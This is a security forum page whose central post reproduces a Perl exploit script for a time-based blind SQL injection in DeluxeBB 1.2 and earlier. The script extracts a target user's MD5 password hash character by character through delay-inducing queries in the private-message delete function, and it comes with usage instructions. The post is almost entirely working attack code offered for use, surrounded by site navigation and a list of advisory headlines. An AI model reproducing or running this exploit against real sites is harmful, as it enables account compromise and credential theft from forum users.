Waraxe IT Security Portal
Login or Register
March 15, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 391
Members: 0
Total: 391
Full disclosure
JSON Deserialiser Unconstrained Resource Consumption QuickOverview
Defense in depth -- the Microsoft way (part 96): yet anotherSAFER (SRPv1) and AppLocker (SRPv2) loophole
Alipay DeepLink+JSBridge Attack Chain: Silent GPS Exfiltration,17 Vulns, 6 CVEs (CVSS 9.3)
Cohesity TranZman Migration Appliance - 5 CVEs (commandinjection, LPE, unsigned patches, weak crypto)
APPLE-SA-03-11-2026-2 iOS 15.8.7 and iPadOS 15.8.7
APPLE-SA-03-11-2026-1 iOS 16.7.15 and iPadOS 16.7.15
SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)
SEC Consult SA-20260218-0 :: Multiple Critical Vulnerabilities in NesterSoft WorkTime (on-prem/cloud)
[KIS-2026-04] SmarterMail <= 9518 (MailboxId) Reflected Cross-Site Scripting Vulnerability
SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models
[Full Disclosure] CVE-2025-69690 & CVE-2025-69691 — Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0
APPLE-SA-02-11-2026-9 Safari 26.3
APPLE-SA-02-11-2026-8 visionOS 26.3
APPLE-SA-02-11-2026-7 watchOS 26.3
APPLE-SA-02-11-2026-6 tvOS 26.3
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit
Post new topicReply to topic View previous topic :: View next topic
DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit
PostPosted: Thu Jan 15, 2009 10:49 pm Reply with quote
yeat
Regular user
Regular user
Joined: Jan 16, 2009
Posts: 8
Location: Italy




Original link -> Here

Code:

#!/usr/bin/perl
# --------------------------------------------------
# DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit
# --------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://deluxebb.com
# --------------------------------------------------
# Usage:
# perl xpl.pl host/path prefix id password target id
# perl xpl.pl localhost/deluxebb deluxebb 5 r00x 1
# --------------------------------------------------
# Note: magic_quotes_gpc off
# don't add me on msn messenger
# my email staker.38@gmail.com
# --------------------------------------------------
# Greetz: str0ke,The:Paradox and #cancer
# --------------------------------------------------

use strict;
use Digest::MD5('md5_hex');
use LWP::UserAgent;

my ($hash,$http);
my ($host,$prefix,$user,$pass,$target) = @ARGV;

$http = new LWP::UserAgent(timeout => 5);

if (@ARGV != 5)
{
print "\n+----------------------------------------------------+\r",
"\n| DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit |\r",
"\n+----------------------------------------------------+\r",
"\nby athos - staker[at]hotmail[dot]it\n",
"\nUsage + perl $0 [host/path] [prefix] [ID] [password] [target ID]",
"\nHost + localhost/DeluxeBB",
"\nID + your user ID",
"\nPassword + your password",
"\nPrefix + table prefix (default: deluxebb)",
"\nTarget ID + target id\n";
exit;
}

$http->default_header('Cookie' => cookies($user,$pass));

&exploit;

sub getUsername
{
my ($user_id,$response,@nickname) = $_[0];

$response = $http->get("http://$host/misc.php?sub=profile&uid=$user_id");
@nickname = $response->as_string =~ m{<span class="misctext">(.+?)</span>}ig;

return $nickname[1];
}



sub cookies
{
my ($username);
my ($user_id,$password) = @_;

$username = getUsername($user_id);
$password = md5_hex($password);

return qq{membercookie=$username; memberid=$user_id; memberpw=$password;};
}


sub getMsg
{
my $response = $http->get("http://$host/pm.php?sub=folder&name=inbox");

if ($response->as_string =~ m/pid=(\d+)./i)
{
return $1;
}
else
{
my $content = {
to => getUsername($user),
subject => rand(999),
posticon => 'none',
rte1 => rand(999),
submit => 'Send'

};


my $request = $http->post("http://$host/pm.php?sub=newpm",$content);
my $read_id = $http->get("http://$host/pm.php?sub=folder&name=inbox");

if ($read_id->content =~ /pid=(\d+)./i)
{
return $1;
}
}
}


sub sql
{
my ($i,$j,$sql) = (shift,shift,undef);

$sql = "%27+OR+(SELECT+IF((ASCII(SUBSTRING(pass,$i,1))=$j),".
"benchmark(200000000,CHAR(0)),0)+FROM+${prefix}_users".
"+WHERE uid=$target))%23";

return $sql;
}


sub delay
{
my ($tm1,$tm2) = (undef,undef);
my ($msg,$sql) = @_;

$tm1 = time();

$http->get("http://$host/pm.php?sub=do&submit=Delete&delete$msg=$sql");

$tm2 = time();

return $tm2 - $tm1;
}


sub exploit
{
my ($i,$ord) = (1,undef);
my @chr = (48..57, 97..102);

for ($i..32)
{
foreach $ord(@chr)
{
if (delay(&getMsg,&sql($i,$ord)) >= 5)
{
syswrite(STDOUT,chr($ord)); $hash .= chr($ord);
last;
$i++;
}

if ($i == 2 and not defined $hash)
{
syswrite(STDOUT,"Exploit Failed!\n");
exit;
}
}
}
}

# milw0rm.com [2008-12-28]
View user's profile Send private message MSN Messenger
DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.027 Seconds